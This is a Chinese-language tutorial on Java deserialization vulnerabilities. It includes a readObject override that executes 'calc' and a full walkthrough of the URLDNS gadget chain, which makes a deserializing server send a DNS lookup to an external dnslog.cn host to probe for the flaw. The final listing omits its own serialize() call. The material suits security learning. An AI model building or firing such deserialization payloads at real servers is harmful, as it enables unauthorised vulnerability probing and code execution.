简介
与php和python的反序列化类似,序列化与反序列化本质上就是方便以流的形式在网络上传输,更持久化的保存对象。在服务端没有严格限制用户输入的情况下,服务端代码会在反序列化时运行用户提交的恶意代码,最终造成攻击的目的。
相关基础
Serializable 接口
跟进源码发现,它这只是一个空接口。
 
这个接口是用来标识那些类是可以被反序列化的,换句话说,只有实现了Serializable接口的类才能被反序列化,强行序列化会发生报错。对于静态成员变量和transient 标识的对象成员变量不参与反序列化。
ObjectOutputStream类
是Java I/O类库提供的一种对象输出流类,它可以用于将对象序列化后写入输出流中。能将 Java 中的类、数组、基本数据类型等对象转换为可输出的字节,也就是序列化。
writeObject函数
序列化函数,将一个对象写入输出流。在序列化对象时,我们可以将一个对象作为参数传递给 writeObject() 方法。该方法会自动将该对象序列化并写入到输出流中。
Java 中的一个类,用于读取序列化对象。它可以从输入流中读取对象并将其反序列化为 Java 对象,使您能够在不同的 Java 虚拟机之间传输对象。
readObject()函数
是 ObjectInputStream 类中的一个方法,用于从输入流中读取对象并将其反序列化为 Java 对象。它可以用于从文件、网络连接或任何其他类型的输入流中读取序列化对象。当使用 ObjectOutputStream 将对象序列化并写入输出流时,可以使用 readObject()方法将该对象从输入流中读取出来,并将其转换为相应的 Java 对象。
反序列化漏洞
简单说明了反序列化所要用到的几个类与函数,接下来写个例子体会一下:
| package com.serialize;
 import java.io.*;
 import java.io.Serializable;
 
 public class test01 {
 public static void main(String[] args) throws IOException, ClassNotFoundException {
 Persion persion = new Persion("XiLItter",19);
 ByteArrayOutputStream byteArrayOutputStream  = new ByteArrayOutputStream();
 
 ObjectOutputStream  ObjectOutputStream  = new ObjectOutputStream(byteArrayOutputStream);
 
 ObjectOutputStream.writeObject(persion);
 
 System.out.println(byteArrayOutputStream);
 System.out.println("------------------------");
 FileOutputStream fileOutputStream = new FileOutputStream("data.bin");
 
 ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
 
 oos.writeObject(persion);
 
 FileInputStream fileInputStream = new FileInputStream("data.bin");
 
 ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
 
 Persion newpersion =(Persion) objectInputStream.readObject();
 
 System.out.println(newpersion);
 }
 }
 
 
 class Persion implements Serializable{
 
 private String name;
 private int age;
 public Persion(String name,int age){
 this.age = age;
 this.name = name;
 }
 public String toString(){
 return "Persion{"+"'name'="+this.name+",'age'="+this.age+"}";
 }
 }
 
 | 
在反序列化过程中会调用toString函数,将字符串输出出来。
 
当name属性用transient修饰后,name属性就不参与序列化,看看效果:
 
name属性的值变成了null。造成反序列化最重要的一点就是如果被反序列化的类重写了writeObject和readObject方法,java就会调用重写的方法,执行里面的代码。如果该重写方法中添加了恶意的,能执行命令的代码,就会达到反序列化攻击的目的。看个例子:
| package com.serialize;
 import java.lang.Runtime;
 import java.io.*;
 import java.io.Serializable;
 
 public class test02 {
 public static void main(String[] args) throws IOException, ClassNotFoundException {
 User user = new User("dog",6);
 FileOutputStream fileOutputStream = new FileOutputStream("User.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(user);
 System.out.println("序列化成功");
 FileInputStream fileInputStream = new FileInputStream("User.bin");
 ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
 User newuser =(User) objectInputStream.readObject();
 System.out.println("反序列化成功");
 }
 }
 class User implements Serializable{
 private String name;
 private int age;
 
 public User(String name,int age){
 this.age = age;
 this.name = name;
 }
 @Override
 public String toString(){
 return "User{"+"'name'="+this.name+",'age'="+this.age+"}";
 }
 
 private void readObject(ObjectInputStream oos) throws IOException, ClassNotFoundException {
 oos.defaultReadObject();
 
 Runtime.getRuntime().exec("calc");
 
 }
 }
 
 | 
上述代码重写了readObject方法,并且添加了弹出计算器的命令,测试一下会不会去优先执行我们重写的readObject方法。看看效果:
 
成功弹出计算器。这样攻击看起来很方便,直接在服务端上传一个重写了readObject方法的类的序列化串,直接能够命令执行。但是这种方式几乎不会出现。为什么?作为后端开发人员,不可能会在代码中留下这么危险的readObject方法,即使有,无源码的情况下,我们也不会知道所属该方法的类名。(因为服务端反序列化的也只有自己的类)普遍的反序列化攻击方式包含三个部分:
入口类:重写了readObject方法,并且是能够被反序列化的,最好是jdk自带的。例如HashMap
调用链:一个类的方法包含另一个类调用同名同类型的方法
执行类:能够命令执行或者远程写文件的类。
URLDNS链分析
这一条链相对比较简单,利用的都是jdk原生的类,而且没有jdk版本的限制,非常适合像我这样的新手学习。这条攻击链不会执行命令,只会触发DNS解析,用来探测此处是否存在反序列化漏洞。
首先选择一个入口类,HashMap就比较好,跟进查看一下该 原生类是否满足上述条件。
 
该类继承了Serializable接口,并且它的参数类型宽泛,能够传递对象参数。
 
另外也重写了readObject方法,入口类的条件满足。这条链的主要目的是反序列化时让服务端发起一个DNS请求,那么我们找到原生的URL类看一下,
 
同样可以被反序列化,那么找URL类中比较常见的函数。例如这个hashCode函数
 
再跟进handler.hashCode函数,
 
最终会在URLStreamHandler类调用getHostAddress函数发起域名解析请求。所以这条链就只有两部分HashMap->URL。那么编写攻击链,我们的预期是只有在反序列化的时候才会发起DNS请求来验证反序列化漏洞,
| package com.serialize;
 import java.io.*;
 import java.io.Serializable;
 import java.lang.reflect.Field;
 import java.net.MalformedURLException;
 import java.net.URL;
 import java.util.HashMap;
 
 public class test05 {
 public static void serialize(Object object) throws IOException {
 FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(object);
 System.out.println("1.序列化成功");
 }
 
 public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
 HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>();
 URL url = new URL("http://u4lht2.dnslog.cn");
 hashMap.put(url,1);
 serialize(hashMap);
 }
 }
 
 | 
由上述代码,在序列化的时候也会收到DNS请求。
 
为什么会这样?跟进put方法看一下,
 
为了确保键的唯一性,它会去计算key的hash值,跟进hash方法,
 
它最后也会调用hashCode方法。所以在put的时候它就发起了一个DNS请求,另外,在我们分析攻击链的时候,如果hashCode的值不等于-1,就会返回hashCode,而不会去调用handler.hashCode。它在初始化的时候为-1。
 
接下来调用put函数的时候,hashCode就变成了key的哈希值。也就是说,在反序列化的时候并不会发起DNS请求,这就是一个无效链,所以我们需要调整一下代码。
怎么去改变呢?我们的目的就是在put的时候不让它发起一个DNS请求,同时还需要修改hashCode值为-1。可以通过反射来改变已有对象的属性。第一步,在put函数之前更改hashCode为不是-1的值:
| Class c = url.getClass();Field hashcodefiled = c.getDeclaredField("hashCode");
 hashcodefiled.setAccessible(true);
 hashcodefiled.set(url,1234);
 
 | 
然后在put函数之后把hashCode改回来,让它在反序列化的时候发起一个DNS请求:
| hashcodefiled.set(url,-1);
 | 
最后完整代码:
| package com.serialize;
 import java.io.*;
 import java.io.Serializable;
 import java.lang.reflect.Field;
 import java.net.MalformedURLException;
 import java.net.URL;
 import java.util.HashMap;
 
 public class test03 {
 public static void serialize(Object object) throws IOException {
 FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(object);
 System.out.println("1.序列化成功");
 }
 public static void unserialize(String filename) throws IOException, ClassNotFoundException {
 FileInputStream fileInputStream = new FileInputStream(filename);
 ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
 objectInputStream.readObject();
 System.out.println("2.反序列化成功");
 }
 
 public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
 HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>();
 URL url = new URL("http://t9jge4.dnslog.cn");
 Class c = url.getClass();
 Field hashcodefiled = c.getDeclaredField("hashCode");
 hashcodefiled.setAccessible(true);
 hashcodefiled.set(url,1234);
 hashMap.put(url,1);
 hashcodefiled.set(url,-1);
 
 unserialize("web.bin");
 }
 }
 
 | 
序列化的时候没有发起DNS请求,而在反序列化的时候接收到请求了。
 
重温一下思路:
我们的入口类是HashMap,在反序列化的时候,它会调用重写的readObject方法,而在该方法里,它会计算第一个参数,也就是key的hash值,进而调用hash函数,进而调用key的hashCode函数。而我们的目标方法就是URL原生类的hashCode方法,满足调用链的同名同类型,让key传入URL对象,即为完整的攻击链。
| HashMap.readObject()->hash()->key.hashCode()->URL.hashCode->handler.hashCode()->getHostAddress()
 | 
结语
java反序列化之路任重而道远。
相关链接:
b站反序列化基础